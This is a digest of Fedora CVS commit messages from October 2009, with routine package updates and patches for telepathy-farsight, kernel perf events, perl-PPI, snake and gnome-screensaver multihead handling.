Message-ID: <20091023222350.54CAA11C01EA@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-farsight/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9807

Modified Files:
	.cvsignore sources telepathy-farsight.spec 
Log Message:
* Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.12-1
- Update to 0.0.12.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-farsight/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	10 Sep 2009 22:54:43 -0000	1.8
+++ .cvsignore	23 Oct 2009 22:23:47 -0000	1.9
@@ -1 +1 @@
-telepathy-farsight-0.0.11.tar.gz
+telepathy-farsight-0.0.12.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-farsight/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	10 Sep 2009 22:54:44 -0000	1.8
+++ sources	23 Oct 2009 22:23:48 -0000	1.9
@@ -1 +1 @@
-e9b73829e4211d970732db5ba0c83a45  telepathy-farsight-0.0.11.tar.gz
+1605a4c411ca1d26c3e395d8c69ccf3f  telepathy-farsight-0.0.12.tar.gz


Index: telepathy-farsight.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-farsight/F-12/telepathy-farsight.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- telepathy-farsight.spec	10 Sep 2009 22:54:44 -0000	1.10
+++ telepathy-farsight.spec	23 Oct 2009 22:23:48 -0000	1.11
@@ -5,7 +5,7 @@
 %define farsight2_ver   0.0.14
 
 Name:           telepathy-farsight
-Version:        0.0.11
+Version:        0.0.12
 Release:        1%{?dist}
 Summary:        Telepathy client to handle media streaming channels
 
@@ -107,6 +107,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/%{name}
 
 %changelog
+* Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.12-1
+- Update to 0.0.12.
+
 * Thu Sep 10 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.11-1
 - Update to 0.0.11.
 



From kyle at fedoraproject.org  Fri Oct 23 22:58:26 2009
From: kyle at fedoraproject.org (Kyle McMartin)
Date: Fri, 23 Oct 2009 22:58:26 +0000 (UTC)
Subject: rpms/kernel/F-12
	perf-events-dont-generate-events-for-the-idle-task.patch, NONE,
	1.1 perf-events-fix-swevent-hrtimer-sampling.patch, NONE,
	1.1 Makefile, 1.111, 1.112 config-x86_64-generic, 1.92,
	1.93 kernel.spec, 1.1881, 1.1882
Message-ID: <20091023225827.2696911C01EA@cvs1.fedora.phx.redhat.com>

Author: kyle

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25225

Modified Files:
	Makefile config-x86_64-generic kernel.spec 
Added Files:
	perf-events-dont-generate-events-for-the-idle-task.patch 
	perf-events-fix-swevent-hrtimer-sampling.patch 
Log Message:
* Fri Oct 23 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.5-96
- Bump NR_CPUS to 256 on x86_64.
- Add two backports (ugh, just had to go renaming perf counters to events...)
  for fixing sysprof with perf.


perf-events-dont-generate-events-for-the-idle-task.patch:
 perf_counter.c |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE perf-events-dont-generate-events-for-the-idle-task.patch ---
From: Soeren Sandmann <sandmann at daimi.au.dk>
Date: Thu, 22 Oct 2009 16:34:08 +0000 (+0200)
Subject: perf events: Don't generate events for the idle task when exclude_idle is set
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftip%2Flinux-2.6-tip.git;a=commitdiff_plain;h=54f4407608c59712a8f5ec1e10dfac40bef5a2e7

perf events: Don't generate events for the idle task when exclude_idle is set

Getting samples for the idle task is often not interesting, so
don't generate them when exclude_idle is set for the event in
question.

Signed-off-by: S?ren Sandmann Pedersen <sandmann at redhat.com>
Cc: Peter Zijlstra <a.p.zijlstra at chello.nl>
Cc: Mike Galbraith <efault at gmx.de>
Cc: Paul Mackerras <paulus at samba.org>
Cc: Arnaldo Carvalho de Melo <acme at redhat.com>
Cc: Frederic Weisbecker <fweisbec at gmail.com>
Cc: Steven Rostedt <rostedt at goodmis.org>
LKML-Reference: <ye8pr8fmlq7.fsf at camel16.daimi.au.dk>
Signed-off-by: Ingo Molnar <mingo at elte.hu>
---

diff --git a/kernel/perf_counter.c b/kernel/perf_counter.c
index 6017671..f8ad53a 100644
--- a/kernel/perf_counter.c
+++ b/kernel/perf_counter.c
@@ -3788,8 +3788,9 @@ static enum hrtimer_restart perf_swcounter_hrtimer(struct hrtimer *hrtimer)
 		data.regs = task_pt_regs(current);
 
 	if (data.regs) {
-		if (perf_counter_overflow(counter, 0, &data))
-			ret = HRTIMER_NORESTART;
+		if (!(counter->attr.exclude_idle && current->pid == 0))
+			if (perf_counter_overflow(counter, 0, &data))
+				ret = HRTIMER_NORESTART;
 	}
 
 	period = max_t(u64, 10000, counter->hw.sample_period);

perf-events-fix-swevent-hrtimer-sampling.patch:
 include/linux/perf_counter.h |    4 +-
 kernel/perf_counter.c        |   61 ++++++++++++++++++++++++++++---------------
 2 files changed, 43 insertions(+), 22 deletions(-)

--- NEW FILE perf-events-fix-swevent-hrtimer-sampling.patch ---
From: Soeren Sandmann <sandmann at daimi.au.dk>
Date: Tue, 15 Sep 2009 12:33:08 +0000 (+0200)
Subject: perf events: Fix swevent hrtimer sampling by keeping track of remaining time when... 
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftip%2Flinux-2.6-tip.git;a=commitdiff_plain;h=721a669b7225edeeb0ca8e2bf71b83882326a71b

perf events: Fix swevent hrtimer sampling by keeping track of remaining time when enabling/disabling swevent hrtimers

Make the hrtimer based events work for sysprof.

Whenever a swevent is scheduled out, the hrtimer is canceled.
When it is scheduled back in, the timer is restarted. This
happens every scheduler tick, which means the timer never
expired because it was getting repeatedly restarted over and
over with the same period.

To fix that, save the remaining time when disabling; when
reenabling, use that saved time as the period instead of the
user-specified sampling period.

Also, move the starting and stopping of the hrtimers to helper
functions instead of duplicating the code.

Signed-off-by: S?ren Sandmann Pedersen <sandmann at redhat.com>
LKML-Reference: <ye8vdi7mluz.fsf at camel16.daimi.au.dk>
Signed-off-by: Ingo Molnar <mingo at elte.hu>
---

diff --git a/include/linux/perf_counter.h b/include/linux/perf_counter.h
index b53f700..c32e411 100644
--- a/include/linux/perf_counter.h
+++ b/include/linux/perf_counter.h
@@ -460,8 +460,8 @@ struct hw_perf_counter {
 			unsigned long	counter_base;
 			int		idx;
 		};
-		union { /* software */
-			atomic64_t	count;
+		struct { /* software */
+			s64		remaining;
 			struct hrtimer	hrtimer;
 		};
 	};
diff --git a/kernel/perf_counter.c b/kernel/perf_counter.c
index b1dc468..6017671 100644
--- a/kernel/perf_counter.c
+++ b/kernel/perf_counter.c
@@ -3798,6 +3798,42 @@ static enum hrtimer_restart perf_swcounter_hrtimer(struct hrtimer *hrtimer)
 	return ret;
 }
 
+static void perf_swcounter_start_hrtimer(struct perf_counter *counter)
+{
+	struct hw_perf_counter *hwc = &counter->hw;
+
+	hrtimer_init(&hwc->hrtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
+	hwc->hrtimer.function = perf_swcounter_hrtimer;
+	if (hwc->sample_period) {
+		u64 period;
+
+		if (hwc->remaining) {
+			if (hwc->remaining < 0)
+				period = 10000;
+			else
+				period = hwc->remaining;
+			hwc->remaining = 0;
+		} else {
+			period = max_t(u64, 10000, hwc->sample_period);
+		}
+		__hrtimer_start_range_ns(&hwc->hrtimer, ns_to_ktime(period),
+				0, HRTIMER_MODE_REL, 0);
+	}
+}
+
+static void perf_swcounter_cancel_hrtimer(struct perf_counter *counter)
+{
+	struct hw_perf_counter *hwc = &counter->hw;
+
+	if (hwc->sample_period) {
+		ktime_t remaining = hrtimer_get_remaining(&hwc->hrtimer);
+		hwc->remaining = ktime_to_ns(remaining);
+
+		hrtimer_cancel(&hwc->hrtimer);
+	}
+}
+
+
 /*
  * Software counter: cpu wall time clock
  */
@@ -3820,22 +3856,14 @@ static int cpu_clock_perf_counter_enable(struct perf_counter *counter)
 	int cpu = raw_smp_processor_id();
 
 	atomic64_set(&hwc->prev_count, cpu_clock(cpu));
-	hrtimer_init(&hwc->hrtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
-	hwc->hrtimer.function = perf_swcounter_hrtimer;
-	if (hwc->sample_period) {
-		u64 period = max_t(u64, 10000, hwc->sample_period);
-		__hrtimer_start_range_ns(&hwc->hrtimer,
-				ns_to_ktime(period), 0,
-				HRTIMER_MODE_REL, 0);
-	}
+	perf_swcounter_start_hrtimer(counter);
 
 	return 0;
 }
 
 static void cpu_clock_perf_counter_disable(struct perf_counter *counter)
 {
-	if (counter->hw.sample_period)
-		hrtimer_cancel(&counter->hw.hrtimer);
+	perf_swcounter_cancel_hrtimer(counter);
 	cpu_clock_perf_counter_update(counter);
 }
 
@@ -3872,22 +3900,15 @@ static int task_clock_perf_counter_enable(struct perf_counter *counter)
 	now = counter->ctx->time;
 
 	atomic64_set(&hwc->prev_count, now);
-	hrtimer_init(&hwc->hrtimer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);
-	hwc->hrtimer.function = perf_swcounter_hrtimer;
-	if (hwc->sample_period) {
-		u64 period = max_t(u64, 10000, hwc->sample_period);
-		__hrtimer_start_range_ns(&hwc->hrtimer,
-				ns_to_ktime(period), 0,
-				HRTIMER_MODE_REL, 0);
-	}
+
+	perf_swcounter_start_hrtimer(counter);
 
 	return 0;
 }
 
 static void task_clock_perf_counter_disable(struct perf_counter *counter)
 {
-	if (counter->hw.sample_period)
-		hrtimer_cancel(&counter->hw.hrtimer);
+	perf_swcounter_cancel_hrtimer(counter);
 	task_clock_perf_counter_update(counter, counter->ctx->time);
 
 }


Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/Makefile,v
retrieving revision 1.111
retrieving revision 1.112
diff -u -p -r1.111 -r1.112
--- Makefile	23 Oct 2009 21:29:18 -0000	1.111
+++ Makefile	23 Oct 2009 22:58:21 -0000	1.112
@@ -82,7 +82,7 @@ debug:
 	@perl -pi -e 's/CONFIG_DEBUG_PAGEALLOC=y/# CONFIG_DEBUG_PAGEALLOC is not set/' config-nodebug
 
 	@perl -pi -e 's/^%define debugbuildsenabled 1/%define debugbuildsenabled 0/' kernel.spec
-	@perl -pi -e 's/CONFIG_NR_CPUS=64/CONFIG_NR_CPUS=512/' config-x86_64-generic
+	@perl -pi -e 's/CONFIG_NR_CPUS=256/CONFIG_NR_CPUS=512/' config-x86_64-generic
 
 release:
 	@perl -pi -e 's/CONFIG_SLUB_DEBUG_ON=y/# CONFIG_SLUB_DEBUG_ON is not set/' config-nodebug
@@ -124,14 +124,14 @@ release:
 	@perl -pi -e 's/CONFIG_MMIOTRACE=y/# CONFIG_MMIOTRACE is not set/' config-nodebug
 	@perl -pi -e 's/# CONFIG_STRIP_ASM_SYMS is not set/CONFIG_STRIP_ASM_SYMS=y/' config-nodebug
 
-	@perl -pi -e 's/CONFIG_NR_CPUS=512/CONFIG_NR_CPUS=64/' config-x86_64-generic
+	@perl -pi -e 's/CONFIG_NR_CPUS=512/CONFIG_NR_CPUS=256/' config-x86_64-generic
 
 	@perl -pi -e 's/^%define debugbuildsenabled 0/%define debugbuildsenabled 1/' kernel.spec
 	@perl -pi -e 's/^%define rawhide_skip_docs 1/%define rawhide_skip_docs 0/' kernel.spec
 
 rhel:
 	@perl -pi -e 's/# CONFIG_PPC_64K_PAGES is not set/CONFIG_PPC_64K_PAGES=y/' config-powerpc64
-	@perl -pi -e 's/CONFIG_NR_CPUS=64/CONFIG_NR_CPUS=512/' config-x86_64-generic
+	@perl -pi -e 's/CONFIG_NR_CPUS=256/CONFIG_NR_CPUS=512/' config-x86_64-generic
 
 reconfig:
 	@rm -f kernel-*-config


Index: config-x86_64-generic
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/config-x86_64-generic,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- config-x86_64-generic	23 Oct 2009 21:08:00 -0000	1.92
+++ config-x86_64-generic	23 Oct 2009 22:58:21 -0000	1.93
@@ -16,7 +16,7 @@ CONFIG_NUMA=y
 CONFIG_K8_NUMA=y
 CONFIG_X86_64_ACPI_NUMA=y
 # CONFIG_NUMA_EMU is not set
-CONFIG_NR_CPUS=64
+CONFIG_NR_CPUS=256
 CONFIG_X86_POWERNOW_K8=m
 CONFIG_X86_POWERNOW_K8_ACPI=y
 CONFIG_X86_P4_CLOCKMOD=m 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1881
retrieving revision 1.1882
diff -u -p -r1.1881 -r1.1882
--- kernel.spec	23 Oct 2009 21:29:18 -0000	1.1881
+++ kernel.spec	23 Oct 2009 22:58:21 -0000	1.1882
@@ -767,6 +767,10 @@ Patch14410: keys-get_instantiation_keyri
 # Fix kernel memory leak to userspace. (CVE-2009-3612)
 Patch14411: netlink-fix-typo-in-initialization.patch
 
+# fix perf for sysprof
+Patch14420: perf-events-fix-swevent-hrtimer-sampling.patch
+Patch14421: perf-events-dont-generate-events-for-the-idle-task.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1434,6 +1438,10 @@ ApplyPatch keys-get_instantiation_keyrin
 # Fix kernel memory leak to userspace. (CVE-2009-3612)
 ApplyPatch netlink-fix-typo-in-initialization.patch
 
+# fix perf for sysprof
+ApplyPatch perf-events-fix-swevent-hrtimer-sampling.patch
+ApplyPatch perf-events-dont-generate-events-for-the-idle-task.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2084,7 +2092,12 @@ fi
 # and build.
 
 %changelog
-* Fri Oct 23 2009 Dave Airlie <airlied at redhat.com. 2.6.31.5-95
+* Fri Oct 23 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.5-96
+- Bump NR_CPUS to 256 on x86_64.
+- Add two backports (ugh, just had to go renaming perf counters to events...)
+  for fixing sysprof with perf.
+
+* Fri Oct 23 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-95
 - re enable MSI
 
 * Fri Oct 23 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-94



From mjakubicek at fedoraproject.org  Fri Oct 23 23:29:30 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 23:29:30 +0000 (UTC)
Subject: rpms/perl-PPI/F-12 perl-PPI.spec,1.14,1.15 sources,1.8,1.9
Message-ID: <20091023232930.67BE911C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/perl-PPI/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3710

Modified Files:
	perl-PPI.spec sources 
Log Message:
- Sync from devel/ to 1.206 to be able to update perl-Perl-Critic




Index: perl-PPI.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-PPI/F-12/perl-PPI.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- perl-PPI.spec	26 Jul 2009 14:02:53 -0000	1.14
+++ perl-PPI.spec	23 Oct 2009 23:29:28 -0000	1.15
@@ -1,6 +1,6 @@
 Name:           perl-PPI
-Version:        1.203
-Release:        3%{?dist}
+Version:        1.206
+Release:        1%{?dist}
 Summary:        Parse, Analyze and Manipulate Perl
 
 Group:          Development/Libraries
@@ -10,19 +10,24 @@ Source0:        http://www.cpan.org/auth
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
+BuildRequires:  perl(ExtUtils::MakeMaker)
 # Perl core modules
-BuildRequires:  perl(List::Util) >= 1.19
-BuildRequires:  perl(Storable) >= 2.14
+BuildRequires:  perl(List::Util) >= 1.20
+BuildRequires:  perl(Storable) >= 2.17
+BuildRequires:  perl(Test::More) >= 0.86
+BuildRequires:  perl(Digest::MD5) >= 2.35
 # CPAN modules
-BuildRequires:  perl(Clone) >= 0.22
-BuildRequires:  perl(File::Remove) >= 0.22
+BuildRequires:  perl(Clone) >= 0.30
+BuildRequires:  perl(File::Remove) >= 1.42
 BuildRequires:  perl(IO::String) >= 1.07
-BuildRequires:  perl(List::MoreUtils) >= 0.13
-BuildRequires:  perl(Params::Util) >= 0.10
-BuildRequires:  perl(Test::ClassAPI) >= 1.02
-BuildRequires:  perl(Test::SubCalls) >= 0.01
-BuildRequires:  perl(Test::Object) >= 0.06
+BuildRequires:  perl(List::MoreUtils) >= 0.16
+BuildRequires:  perl(Params::Util) >= 1.00
+BuildRequires:  perl(Test::ClassAPI) >= 1.04
+BuildRequires:  perl(Test::NoWarnings) >= 0.084
+BuildRequires:  perl(Test::Object) >= 0.07
 BuildRequires:  perl(Test::Pod) >= 1.00
+BuildRequires:  perl(Test::SubCalls) >= 1.07
+BuildRequires:  perl(Task::Weaken)
 Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 
 %description
@@ -62,6 +67,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 1.206-1
+- new upstream version
+- update build requires
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.203-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-PPI/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	9 Sep 2008 19:40:13 -0000	1.8
+++ sources	23 Oct 2009 23:29:28 -0000	1.9
@@ -1 +1 @@
-4d7e598d880ee397e219ae17a9d90277  PPI-1.203.tar.gz
+82b1bd95be146fc742bcfdf067715650  PPI-1.206.tar.gz



From mjakubicek at fedoraproject.org  Fri Oct 23 23:43:54 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 23:43:54 +0000 (UTC)
Subject: rpms/snake/devel sources,1.22,1.23
Message-ID: <20091023234354.83A7011C0260@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/snake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10498/devel

Modified Files:
	sources 
Log Message:
- Fix FTBFS: update sources name




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	19 Jun 2009 16:58:42 -0000	1.22
+++ sources	23 Oct 2009 23:43:53 -0000	1.23
@@ -1 +1 @@
-8762196ce4b657b90178cb49b688366c  snake-0.11-0.16.tar.bz2
+8762196ce4b657b90178cb49b688366c  snake-0.11-0.17.tar.bz2



From mjakubicek at fedoraproject.org  Fri Oct 23 23:43:54 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 23:43:54 +0000 (UTC)
Subject: rpms/snake/F-12 .cvsignore,1.14,1.15 sources,1.22,1.23
Message-ID: <20091023234354.8052311C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/snake/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10498/F-12

Modified Files:
	.cvsignore sources 
Log Message:
- Fix FTBFS: update sources name




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	19 Jun 2009 16:58:42 -0000	1.14
+++ .cvsignore	23 Oct 2009 23:43:52 -0000	1.15
@@ -1 +1 @@
-snake-0.11-0.16.tar.bz2
+snake-0.11-0.17.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	19 Jun 2009 16:58:42 -0000	1.22
+++ sources	23 Oct 2009 23:43:52 -0000	1.23
@@ -1 +1 @@
-8762196ce4b657b90178cb49b688366c  snake-0.11-0.16.tar.bz2
+8762196ce4b657b90178cb49b688366c  snake-0.11-0.17.tar.bz2



From mjakubicek at fedoraproject.org  Fri Oct 23 23:47:58 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 23:47:58 +0000 (UTC)
Subject: rpms/snake/F-12 snake.spec,1.24,1.25 sources,1.23,1.24
Message-ID: <20091023234758.2151911C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/snake/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12164/F-12

Modified Files:
	snake.spec sources 
Log Message:
- Fix FTBFS: bump release to be able to tag in new branch




Index: snake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/snake.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- snake.spec	27 Jul 2009 04:31:01 -0000	1.24
+++ snake.spec	23 Oct 2009 23:47:57 -0000	1.25
@@ -4,7 +4,7 @@
 Name:           snake
 Summary:        Smart Network Automated Kickstart Environment
 Version:        0.11
-%define rel     0.17
+%define rel     0.18
 Release:        %{rel}%{?dist}
 Source0:        http://hosted.fedoraproject.org/projects/snake/SnakeReleases/%{name}-%{version}-%{rel}.tar.bz2
 License:        GPLv2+
@@ -135,6 +135,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.11-0.18
+- Fix FTBFS: bump release to be able to tag in new branch
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-0.17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	23 Oct 2009 23:43:52 -0000	1.23
+++ sources	23 Oct 2009 23:47:57 -0000	1.24
@@ -1 +1 @@
-8762196ce4b657b90178cb49b688366c  snake-0.11-0.17.tar.bz2
+8762196ce4b657b90178cb49b688366c  snake-0.11-0.18.tar.bz2



From mjakubicek at fedoraproject.org  Fri Oct 23 23:47:58 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 23:47:58 +0000 (UTC)
Subject: rpms/snake/devel snake.spec,1.24,1.25 sources,1.23,1.24
Message-ID: <20091023234758.5083A11C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/snake/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12164/devel

Modified Files:
	snake.spec sources 
Log Message:
- Fix FTBFS: bump release to be able to tag in new branch




Index: snake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/snake.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- snake.spec	27 Jul 2009 04:31:01 -0000	1.24
+++ snake.spec	23 Oct 2009 23:47:58 -0000	1.25
@@ -4,7 +4,7 @@
 Name:           snake
 Summary:        Smart Network Automated Kickstart Environment
 Version:        0.11
-%define rel     0.17
+%define rel     0.18
 Release:        %{rel}%{?dist}
 Source0:        http://hosted.fedoraproject.org/projects/snake/SnakeReleases/%{name}-%{version}-%{rel}.tar.bz2
 License:        GPLv2+
@@ -135,6 +135,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.11-0.18
+- Fix FTBFS: bump release to be able to tag in new branch
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-0.17
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	23 Oct 2009 23:43:53 -0000	1.23
+++ sources	23 Oct 2009 23:47:58 -0000	1.24
@@ -1 +1 @@
-8762196ce4b657b90178cb49b688366c  snake-0.11-0.17.tar.bz2
+8762196ce4b657b90178cb49b688366c  snake-0.11-0.18.tar.bz2



From mclasen at fedoraproject.org  Fri Oct 23 23:55:23 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri, 23 Oct 2009 23:55:23 +0000 (UTC)
Subject: rpms/gnome-screensaver/F-12 multihead-issues.patch, NONE,
	1.1 gnome-screensaver.spec, 1.230, 1.231
Message-ID: <20091023235523.E704311C01EA@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-screensaver/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14600

Modified Files:
	gnome-screensaver.spec 
Added Files:
	multihead-issues.patch 
Log Message:
fix multihead issues


multihead-issues.patch:
 gs-manager.c |   11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

--- NEW FILE multihead-issues.patch ---
diff -up gnome-screensaver-2.28.0/src/gs-manager.c.multihead-issues gnome-screensaver-2.28.0/src/gs-manager.c
--- gnome-screensaver-2.28.0/src/gs-manager.c.multihead-issues	2009-08-19 19:19:14.000000000 -0400
+++ gnome-screensaver-2.28.0/src/gs-manager.c	2009-10-23 19:48:08.306135389 -0400
@@ -1450,6 +1450,9 @@ gs_manager_create_window_for_monitor (GS
         connect_window_signals (manager, window);
 
         manager->priv->windows = g_slist_append (manager->priv->windows, window);
+
+	if (manager->priv->active && !manager->priv->fading)
+		gtk_widget_show (window);
 }
 
 static void
@@ -1471,21 +1474,25 @@ on_screen_monitors_changed (GdkScreen *s
         if (n_monitors > n_windows) {
                 /* add more windows */
                 for (i = n_windows; i < n_monitors; i++) {
-                        gs_manager_create_window_for_monitor (manager, screen, i - 1);
+                        gs_manager_create_window_for_monitor (manager, screen, i);
                 }
         } else {
                 /* remove the extra windows */
-                for (l = manager->priv->windows; l != NULL; l = l->next) {
+                l = manager->priv->windows; 
+                while (l != NULL) {
                         GdkScreen *this_screen;
                         int        this_monitor;
+                        GSList    *next = l->next;
 
                         this_screen = gs_window_get_screen (GS_WINDOW (l->data));
                         this_monitor = gs_window_get_monitor (GS_WINDOW (l->data));
                         if (this_screen == screen && this_monitor >= n_monitors) {
                                 manager_maybe_stop_job_for_window (manager, GS_WINDOW (l->data));
+				g_hash_table_remove (manager->priv->jobs, l->data);
                                 gs_window_destroy (GS_WINDOW (l->data));
                                 manager->priv->windows = g_slist_delete_link (manager->priv->windows, l);
                         }
+                        l = next;
                 }
         }
 }


Index: gnome-screensaver.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-screensaver/F-12/gnome-screensaver.spec,v
retrieving revision 1.230
retrieving revision 1.231
diff -u -p -r1.230 -r1.231
--- gnome-screensaver.spec	22 Oct 2009 18:53:22 -0000	1.230
+++ gnome-screensaver.spec	23 Oct 2009 23:55:22 -0000	1.231
@@ -14,7 +14,7 @@
 Summary: GNOME Screensaver
 Name: gnome-screensaver
 Version: 2.28.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: Amusements/Graphics
 Source0: http://download.gnome.org/sources/gnome-screensaver/2.28/%{name}-%{version}.tar.bz2
@@ -26,6 +26,7 @@ Patch2: gnome-screensaver-2.26.0-securit
 Patch7: gnome-screensaver-2.20.0-blank-by-default.patch
 Patch8: gnome-screensaver-2.20.0-selinux-permit.patch
 Patch9: xrandr-gamma.patch
+Patch10: multihead-issues.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 URL: http://www.gnome.org
@@ -79,6 +80,7 @@ simple, sane, secure defaults and be wel
 %patch7 -p1 -b .blank-by-default
 %patch8 -p1 -b .selinux-permit
 %patch9 -p1 -b .xrandr-gamma
+%patch10 -p1 -b .multihead-issues
 
 libtoolize --force --copy
 
@@ -153,6 +155,9 @@ fi
 %doc %{_mandir}/man1/*.1.gz
 
 %changelog
+* Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-4
+- Fix crashes and malfunctions in dynamic multihead situations
+
 * Thu Oct 22 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-3
 - Fix an oversight in the previous patch
 



From mjakubicek at fedoraproject.org  Sat Oct 24 00:07:45 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Sat, 24 Oct 2009 00:07:45 +0000 (UTC)
Subject: rpms/unetbootin/F-12 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 unetbootin.spec, 1.7, 1.8
Message-ID: <20091024000745.92AE611C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/unetbootin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19682/F-12

Modified Files:
	.cvsignore sources unetbootin.spec 
Log Message:
